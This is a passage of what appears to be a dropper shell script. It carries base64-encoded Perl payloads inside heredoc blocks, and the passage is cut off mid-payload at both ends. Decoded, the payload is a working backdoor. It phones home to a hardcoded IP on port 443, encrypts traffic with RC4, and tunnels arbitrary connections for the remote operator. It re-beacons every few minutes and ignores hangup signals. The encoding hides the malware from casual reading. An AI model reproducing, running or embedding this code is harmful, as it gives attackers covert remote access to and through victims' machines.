ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_18() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzYnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl 